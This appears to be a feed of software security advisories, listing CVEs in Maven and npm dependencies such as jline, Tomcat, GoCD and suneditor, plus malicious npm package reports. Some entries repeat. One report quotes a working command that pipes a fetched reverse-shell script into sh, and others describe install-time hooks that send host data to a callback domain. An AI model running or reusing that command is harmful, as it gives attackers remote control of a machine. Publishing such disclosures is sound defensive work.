africa.shuwari.sbt:sbt-js_2.12_1.0 (>=0.14.1, <=0.16.1), africa.shuwari.sbt:sbt-netbeans_2.12_1.0 (>=0.1.0, <=0.1.1) +1410 more potentially affected by CVE-2026-77421 via org.jline:jline-builtins (>=3.2.0, <=3.30.14)

org.jline:jline-builtins MAVEN version =3.2.0, =0.14.1, =0.1.0, =0.9.6, =0.15.3, =0.12.0, =0.9.6, =0.15.3, =0.9.6, =0.9.6, =0.15.3, =0.9.6, =0.15.3, =0.14.1, =0.9.6, =0.14.3 and more Source cves: CVE-2026-77421 Source advisory: SNYK:JAVA-ORGJLINE-20078913...

CVE-2026-52744

GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines//upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy...

africa.shuwari.sbt:sbt-js_2.12_1.0 (>=0.14.1, <=0.16.1), africa.shuwari.sbt:sbt-netbeans_2.12_1.0 (>=0.1.0, <=0.1.1) +1410 more potentially affected by CVE-2026-77423 via org.jline:jline-builtins (>=3.2.0, <=3.30.14)

org.jline:jline-builtins MAVEN version =3.2.0, =0.14.1, =0.1.0, =0.9.6, =0.15.3, =0.12.0, =0.9.6, =0.15.3, =0.9.6, =0.9.6, =0.15.3, =0.9.6, =0.15.3, =0.14.1, =0.9.6, =0.14.3 and more Source cves: CVE-2026-77423 Source advisory: SNYK:JAVA-ORGJLINE-20078915...

ba.sake:sharaf-core_native0.5_3 (>=0.10.0, <=0.20.0), ba.sake:sharaf-helidon_native0.5_3 (0.11.0) +93 more potentially affected by CVE-2026-59990 via org.typelevel:jawn-parser_native0.5_3 (1.6.0)

org.typelevel:jawn-parsernative0.53 MAVEN version 1.6.0 is affected by a known vulnerability. The following packages have a transitive dependency on org.typelevel:jawn-parsernative0.53 and may be impacted: - ba.sake:sharaf-corenative0.53 =0.10.0, =0.18.0, =0.11.1, =0.30.0, =0.12.0, =0.2.3,...

MAL-2026-16481 Malicious code in internallib_v463 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7 index.js exports a function command that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh", fetching a reverse-shell script from...

Malicious code in internallib_v463 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7 index.js exports a function command that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh", fetching a reverse-shell script from...

africa.shuwari.sbt:sbt-js_2.12_1.0 (>=0.14.1, <=0.16.1), africa.shuwari.sbt:sbt-netbeans_2.12_1.0 (>=0.1.0, <=0.1.1) +1410 more potentially affected by CVE-2026-77422 via org.jline:jline-builtins (>=3.2.0, <=3.30.14)

org.jline:jline-builtins MAVEN version =3.2.0, =0.14.1, =0.1.0, =0.9.6, =0.15.3, =0.12.0, =0.9.6, =0.15.3, =0.9.6, =0.9.6, =0.15.3, =0.9.6, =0.15.3, =0.14.1, =0.9.6, =0.14.3 and more Source cves: CVE-2026-77422 Source advisory: MEND:CVE-2026-77422...

com.aspectran:aspectow-appmon-demo (3.2.0), com.aspectran:aspectran-all (>=9.4.3, <=9.6.2) +31 more potentially affected by CVE-2026-77421 via org.jline:jline-builtins (>=4.0.0, <=4.3.0)

org.jline:jline-builtins MAVEN version =4.0.0, =9.4.3, =9.4.3, =9.4.3, =2.54.0, =2.54.0, =2.54.0, =2.54.0, =2.54.0, =2.54.0, =4.19.0, =4.19.0, =4.19.0, =4.19.0, =4.21.0 and more Source cves: CVE-2026-77421 Source advisory: MEND:CVE-2026-77421...

CVE-2026-52744 GoCD is vulnerable to authorization bypass via fetch artifact autosuggestion API

GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines//upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy...

CVE-2026-52744 GoCD is vulnerable to authorization bypass via fetch artifact autosuggestion API

GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines//upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy...

CVE-2026-52744 GoCD is vulnerable to authorization bypass via fetch artifact autosuggestion API

GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines//upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy...

Malicious code in event-hunter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f94b74862f327effaa43c1d01c4fd769626f73214d0706b80fef8b8a395cc3e8 On npm install, the declared postinstall hook runs node index.js, which reads os.hostname and a timestamp, base64-encodes the JSON payload, and issue...

MAL-2026-16479 Malicious code in simplenewnpmpackage (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 76315a0ce965c3a1f5b6342caa9d9ce8db4b341b641b2dbb696ebd52bd6149ec On require/import, index.js issues an HTTPS GET to a hardcoded interactsh OAST subdomain dapnhid534ch06s9vpm0mbg1httu5gytc.oast.fun with the...

Malicious code in simplenewnpmpackage (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 76315a0ce965c3a1f5b6342caa9d9ce8db4b341b641b2dbb696ebd52bd6149ec On require/import, index.js issues an HTTPS GET to a hardcoded interactsh OAST subdomain dapnhid534ch06s9vpm0mbg1httu5gytc.oast.fun with the...

MAL-2026-16477 Malicious code in com.apple.unityplugin.storekit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 920277566757bdc38563c7e2150e906790478cbd7a0c48f0bb53004e82eec4ca The package impersonates an Apple/Unity StoreKit internal namespace com.apple.unityplugin.storekit and, on require, index.js performs an HTTPS GET to...

Malicious code in com.apple.unityplugin.storekit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 920277566757bdc38563c7e2150e906790478cbd7a0c48f0bb53004e82eec4ca The package impersonates an Apple/Unity StoreKit internal namespace com.apple.unityplugin.storekit and, on require, index.js performs an HTTPS GET to...

@ossph/temple-ui (0.1.7), @pinnacle0/web-ui (>=0.1.102, <=0.1.104) +5 more potentially affected by CVE-2026-59167 via suneditor (>=2.34.3, <=2.47.0)

suneditor NPM version =2.34.3, =0.1.102, =1.0.3-rc.1, =0.1.0, =0.1.0, =0.1.8, =0.1.1, =0.1.12 Source cves: CVE-2026-59167 Source advisory: MEND:CVE-2026-59167...

io.github.t1willi:jolt (>=2.6.2, <=25.08.4), org.apache.tomee.bom:tomee-webprofile (11.0.0-m1) +15 more potentially affected by CVE-2026-76183 via org.apache.tomcat:tomcat-websocket (>=11.0.0-m20, <=11.0.25)

org.apache.tomcat:tomcat-websocket MAVEN version =11.0.0-m20, =2.6.2, =11.0.0, =11.1.3 and more Source cves: CVE-2026-76183 Source advisory: SNYK:JAVA-ORGAPACHETOMCAT-20532012...

cv.igrp:igrp-core (>=1.7.2.230613, <=1.8.3.240913), cv.igrp:igrp-core-war (>=1.7.2.230622, <=1.7.3.230802) +26 more potentially affected by CVE-2026-76183 via org.apache.tomcat:tomcat-websocket (>=9.0.5, <=9.0.121)

org.apache.tomcat:tomcat-websocket MAVEN version =9.0.5, =1.7.2.230613, =1.7.2.230622, =8.0.1, =8.0.5, =8.0.5, =8.0.5, =8.0.0-m1, =8.0.0-m1, =8.0.0-m1, =8.0.0-m1, =8.0.0-m1, =8.0.0-m1, =8.0.0-m1, =8.0.0-m1, =8.0.16 and more Source cves: CVE-2026-76183 Source advisory:...

codes.vps:tomcat-valve-request-filter (0.1), com.armanbilge:http4s-tomcat-server_2.12 (1.0-377-020cf9e) +136 more potentially affected by CVE-2026-77756 via org.apache.tomcat:tomcat-coyote (>=9.0.48, <=9.0.121)

org.apache.tomcat:tomcat-coyote MAVEN version =9.0.48, =3.0.11, =1.0.1, =1.7.0, =6.73, =3.5.5, =3.5.5, =3.1.0, =0.1.3, =1.7.2.230613, =1.8.3.240913 and more Source cves: CVE-2026-77756 Source advisory: MEND:CVE-2026-77756...